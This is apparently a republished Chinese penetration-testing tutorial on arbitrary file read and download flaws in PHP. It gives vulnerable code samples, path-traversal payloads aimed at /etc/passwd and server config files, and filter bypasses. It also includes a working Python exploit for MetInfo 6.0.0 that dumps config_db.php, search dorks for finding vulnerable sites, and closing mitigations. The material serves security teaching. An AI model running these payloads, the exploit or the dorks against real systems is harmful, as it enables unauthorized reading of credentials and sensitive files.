任意文件读取

这篇具有很好参考价值的文章主要介绍了任意文件读取。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

渗透测试漏洞原理

任意文件读取,网络安全,安全,系统安全

任意文件读取

1. 任意文件读取概述

一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。

  • 任意文件读取会造成(敏感)信息泄露:
  • 任意文件读取很多情况是由于其他漏洞引发的,如,RCE、目录遍历、文件包含等。
  • 任意文件读取与任意文件下载本质上没有区别,信息都是从服务端流向浏览器的。

任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。

1.1 漏洞成因

不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:

  • 存在读取文件的功能(函数),也就是说,Wb应用开放了文件读取功能:
  • 读取文件的路径客户端可控,完全控制或影响文件路径参数:
  • 没有对文件路径进行校验或者校验不严导致校验被绕过,
  • 输出了文件的内容。

1.2 漏洞危害

下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。

可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。

任意文件读取与下载重点关注的文件:

  • 源代码
  • 配置文件
  • 敏感文件
  • 日志文件

1.3 漏洞分类

  • 任意文件读取
  • 任意文件下载

1.4 任意文件读取

以PHP脚本为例子,有一些函数可以实现文件读取功能。

1.4.1 文件读取
读取文件的函数 函数特点
readfile() 直接读取文件内容
自带输出功能
feed() 直接读取文件内容
需要输出读取内容
fread() 打开文件
计算文件大小
读取文件
输出文件
关闭文件

函数具体介绍:PHP: Hypertext Preprocessor。

实验环境在phpstudy的www目录下创建一个file-read目录,在目录中创建一下php文件。

readfile:

// readfile.php
<?php
    $fp = "../phpinfo.php"; 
    readfile($fp);
?>

任意文件读取,网络安全,安全,系统安全

访问页面,查看页面源代码,读取成功。

任意文件读取,网络安全,安全,系统安全

file_get_contents:

// file_get_contents.php
<?php
    $fp = "../phpinfo.php"; 
    echo file_get_contents($fp);
?>

任意文件读取,网络安全,安全,系统安全

访问页面,查看页面源代码,读取成功。

任意文件读取,网络安全,安全,系统安全

fread:

// fread.php
<?php
    $fp = "../phpinfo.php";

    $f = fopen($fp,'r');		//打开文件
    $f_size = filesize($fp); 	//计算文件大小
    echo fread($f, $f_size); 	//读取文件内容并输出到页面上
    fclose($f);
?>

任意文件读取,网络安全,安全,系统安全

访问页面,查看页面源代码,读取成功。

任意文件读取,网络安全,安全,系统安全

1.4.2 任意文件读取

变量$fp,会捕获GET方式传递过来的filepath参数。

$fp = @$_GET['filepath'];

任意文件读取,网络安全,安全,系统安全

任意文件读取,网络安全,安全,系统安全

filepath客户端可控,并且没有经过校验,会造成任意文件读取漏洞。

?filepath=index.php ?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts ?filepath=c:\phpstudy_2016\apache\conf\httpd.conf ?filepath=c:\phpstudy_2016\mysql\my.ini

?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php 
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts 
?filePath=../../../../../../etc/hosts

任意文件读取,网络安全,安全,系统安全

1.4.3 权限问题
  • Windows + IIS + ASP/ASPX:低权限
  • Windows + Apache + php:高权限
  • Windows + Java:高权限
  • Linux + Apache + PHP:低权限
  • Linux + Nginx + PHP:不一定
  • Linux + Java:高权限

1.5 任意文件下载

1.5.1 一般情况

直接下载:例如图片另存为。

a标签下载:

<a href = './a.jpg'>IMG Download</a>
1.5.2 PHP实现

PHP文件下载实现过程:

  • 先读取文件
  • 在输出文件
  • 提供下载
// file-download.php

<?php
    $fp = './a.jpg';
    header('Content-Type:image/jpg');
    header('Content-Disposition:attachment;fileName='.basename($fp));
    readfile($fp);
?>
1.5.3 任意文件下载

任意文件下载的条件:

  • 已知目标文件路径
  • 目标文件路径,客户端可控
  • 没有经过校验或校验不严格
$fp = $_GET['filepath'];

实验

<?php
    $fp = $_GET['filepath'];
    // header('Content-Type:image/jpg');
    header('Content-Disposition:attachment;fileName='.basename($fp));
    readfile($fp);
?>

任意文件读取,网络安全,安全,系统安全

下载成功

任意文件读取,网络安全,安全,系统安全

文件内容如下:
任意文件读取,网络安全,安全,系统安全

2. 任意文件读取攻防

2.1 路径过滤

2.1.1 过滤…/
<?php
    $fp = @$_GET['filepath'];
    $fp = str_replace("../","",$fp); 
    readfile($fp);
?>

2.2 简单绕过

2.2.1 双写绕过
?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts
2.2.2 绝对路径
?filepath=c:/windows\system32\drivers\etc\hosts
2.2.3 使用…\
?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts
2.2.4 设置白名单

设置只能访问a,b,cPHP文件

<?php
    $fp = @$_GET['filepath'];
    if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php'){
        readfile($fp);
    }else{
        echo "Please stop!";
    }
?>

3. 任意文件读取挖掘

3.1 手工挖掘

从文件名上看 从参数名上看
readfile.php
filedownload.php
filelist.php
f=
file=
filepath=
fp=
readfile=
path=
readpath=
url=
menu=
META-INF=
WEB-INF=
content=

3.2 经典案例(metlnfo_6.0.0_file-read)

下载链接:MetInfo历史版本与文件。

说明 内容
漏洞编号
漏洞名称 MetInfo 6.0.0 任意文件读取漏洞
漏洞评级 高危
影响范围 MetInfo 6.0.0
漏洞描述 MetInfo 存在任意文件读取漏洞,攻击者利用该漏洞, 在具有权限的情况下,可以读取网站任意文件,包括配置文件等敏感文件。
修复方案 打补丁 升级 上设备
3.2.1 漏洞描述

MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。

3.2.2 漏洞等级

高危

3.2.3 影响版本

MetInfo 6.0.0

3.2.4 漏洞复现

基础环境

组件 版本
OS Microsoft Windows Server 2016 Standard
Web Server phpStudy 2016
MetInfo 6.0.0

安装过程

任意文件读取,网络安全,安全,系统安全

任意文件读取,网络安全,安全,系统安全

访问页面

任意文件读取,网络安全,安全,系统安全

漏洞点

/include/thumb.php

页面访问该路径

http://127.0.0.1/MetInfo_6.0.0/include/thumb.php

任意文件读取,网络安全,安全,系统安全

使用bp抓包查看,bp是默认不抓图片的包,这里修改配置。

任意文件读取,网络安全,安全,系统安全

将抓取到的数据包右键发送到重发器上。

任意文件读取,网络安全,安全,系统安全

第一次测试

/include/thumb.php?dir=..././http/..././config/config_db.php

任意文件读取,网络安全,安全,系统安全

第二次测试

/include/thumb.php?dir=.....///http/.....///config/config_db.php

任意文件读取,网络安全,安全,系统安全

第三次测试

/include/thumb.php?dir=http/.....///.....///config/config_db.php

任意文件读取,网络安全,安全,系统安全

第四次测试

/include/thumb.php?dir=http\..\..\config\config_db.php

任意文件读取,网络安全,安全,系统安全

注意:

  • 此POC 仅适用于Windows 系统,Linux 下无效。
    • 因为输入的右斜线\在windows中作为目录的分隔符,而linux中不是。
3.2.5 漏洞点分析

漏洞点产生位置在thumb.php文件

任意文件读取,网络安全,安全,系统安全

加载old_thumb类

任意文件读取,网络安全,安全,系统安全

说明:这里的防守做两步判断

  • 将…/和./全部过滤为空。

  • if判断前四个字符必须是http,并且计算./的位置,也就是提交的dir变量中是否有./的出现,如果没有出现返回false。

  • readfile():任意文件读取函数

  • dir这个读取文件的路径客户端可控,但是不完全可控,限制可以被绕过。

3.2.6 深度利用

exp编写

import requests
import sys

banner = """
MetInfo 6.0.0
    ___________.__.__           __________                   .___
    \_   _____/|__|  |   ____   \______   \ ____ _____     __| _/
    |    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | 
    |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | 
    \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | 
        \/                 \/          \/     \/     \/      \/ 
     
Usage: python3 *.py http://192.168.188.183/MetInfo_6.0.0/
"""

headers = {
    "User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}

dir_list = [
    "..././http/..././config/config_db.php",
    ".....///http/.....///config/config_db.php",
    "http/.....///.....///config/config_db.php",
    "http\..\..\config\config_db.php"
]

def attack(host):
    vul = "/include/thumb.php"
    url = host + vul

    res = requests.get(url = url, headers = headers)

    if res.status_code != 200:
        print(f"[INFO] {vul} is Not Exists!")
        exit()

    print(f"[INFO] {vul} is Exists!")

    for param in dir_list:
        params = {
            "dir":  param 
        }

        res = requests.get(url = url, params = params, headers = headers)

        print(f"[INFO] Test URL: {res.url}")

        if "<?php" in res.text:
            print("[RESULT] The target is vulnreable!")
            print(f"[RESULT]\n{res.text}")
            break

if len(sys.argv) < 2:
    print(banner)
    exit()

host = sys.argv[1]

attack(host = host)

任意文件读取,网络安全,安全,系统安全

漏洞挖掘

指纹信息

传统搜索引擎

Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"

FOFA

app="metinfo"

ZoomEye

app:"MetInfo"
app:"MetInfo"+os:"Windows"
3.2.7 修复建议
  • 打补丁
  • 升级
  • 上设备

4. 漏洞修复方案

4.1 输入验证

  • 让web用户只能访问(读取),所需要的文件和路径。

4.2 避免其他漏洞

  • 不能有文件包含漏洞,目录遍历漏洞或其他漏洞。

4.3 限定文件的访问范围

让用户不能访问Web根目录以外的路径。

php.ini配置文件中,可以通过选项open_basedir来限定文件访问的范围

open_basedir = C:\software\phpstudy_pro\WWW

任意文件读取,网络安全,安全,系统安全

实验

不做限定的情况:

任意文件读取,网络安全,安全,系统安全

做限定的情况:

任意文件读取,网络安全,安全,系统安全

但是这样还有读取到当前的配置文件。

任意文件读取,网络安全,安全,系统安全

解决方式:所有的修复方案需要配合使用。文章来源地址https://www.toymoban.com/news/detail-686819.html

到了这里,关于任意文件读取的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 世邦 IP网络对讲广播系统 getjson.php接口存在任意文件读取漏洞

    产品简介 SPON世邦IP网络对讲广播系统是一种先进的通信解决方案,旨在提供高效的网络对讲和广播功能。 漏洞概述 SPON世邦IP网络对讲广播系统getjson.php接口处存在任意文件读取漏洞,未经身份验证的攻击者可利用此漏洞读取敏感文件。 指纹识别 fofa: 漏洞利用 poc: 修复建议

    2024年02月03日
    浏览(61)
  • 【网络安全带你练爬虫-100练】第14练:文件内容的读取、取出

    目录 一、目标1:把文件内容遍历取出 二、目标2:把文件内容全部取出 三、网络安全O  (1)如果文件脚本在不同目录 (2)如果文件直接和脚本在同一目录  (1)存放取出的元素 (2)将目标文件内容的元素依次取出 (for循环) (3)所有元素依次添加进列表中 (4)完整

    2024年02月16日
    浏览(43)
  • 世邦通信SPON IP网络对讲广播系统rj_get_token.php 任意文件读取漏洞

    产品介绍 世邦通信SPON IP网络对讲广播系统采用领先的IPAudio™技术,将音频信号以数据包形式在局域网和广域网上进行传送,是一套纯数字传输系统。 漏洞描述 spon IP网络对讲广播系统rj_get_token.php存在任意文件读取漏洞,攻击者可通过该漏洞在服务器端读取任意敏感文件。 资产

    2024年01月25日
    浏览(57)
  • 【网络安全---sql注入(2)】如何通过SQL注入getshell?如何通过SQL注入读取文件或者数据库数据?一篇文章告诉你过程和原理。

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 本篇博客主要是通过piakchu靶场来讲解如何通过SQL注入漏洞来写入文件,读取文件。通过SQL输入来注入木马来getshell等,讲解了比较详细的过程; 如果想要学习

    2024年02月07日
    浏览(54)
  • 深信服 应用交付报表系统 download.php 任意文件读取漏洞

    漏洞描述: 深信服 应用交付报表系统 download.php文件存在任意文件读取漏洞,攻击者通过漏洞可以下载服务器任意文件。 漏洞利用条件: download.php文件接口 漏洞影响范围: 应用交付报表系统 漏洞复现: 1、登录页面:   2.poc:/report/download.php?pdf=../../../../../etc/passwd   修复建

    2024年02月11日
    浏览(39)
  • Goby漏洞更新 | Grafana 网络应用程序平台 welcome 任意文件读取漏洞(CVE-2021-43798)

    Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。未授权的攻击者利用该漏洞,能够获取服务器敏感文件。 Grafana可以在网络浏览器里显示数据图表和警告。未授权的攻击者利用该漏洞,能

    2023年04月09日
    浏览(37)
  • 网络安全学习-NTFS安全权限、文件共享

    NTFS安全权限 权限概述 设置NTFS权限,实现不同用户访问不同对象(文件、文件夹)的权限 分配正确访问权限后,用户才能访问资源 设置权限防止资源被篡改、删除 文件系统概述 文件系统就是这个分区的存储格式,不建立文件系统就无法存储任何文件 格式化就是重建文件系

    2024年01月20日
    浏览(43)
  • 网络安全(一)--网络环境构成,系统的安全

    目标 了解攻防环境构成 了解入侵检测系统(平台)的部署位置  2.1.1. 环境框图 一个基本的网络攻防实验环境包括:靶机、攻击机、入侵检测分析系统、网络连接四部分组成。 一个基础的网络攻防实验环境需要如下组成部分: 2.1.2. 靶机 靶机:包含系统和应用程序漏洞,并

    2024年02月04日
    浏览(47)
  • 【网络安全】文件上传绕过思路

    分享一些文件上传绕过的思路,下文内容多包含实战图片,所以打码会非常严重,可多看文字表达;本文仅用于交流学习, 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。 一次项目渗透时,

    2023年04月21日
    浏览(42)
  • 【网络安全】文件包含漏洞解析

    博主昵称:跳楼梯企鹅 博主主页面链接: 博主主页传送门 博主专栏页面连接: 专栏传送门--网路安全技术 创作初心:本博客的初心为与技术朋友们相互交流,每个人的技术都存在短板,博主也是一样,虚心求教,希望各位技术友给予指导。 博主座右铭:发现光,追随光,

    2024年02月01日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包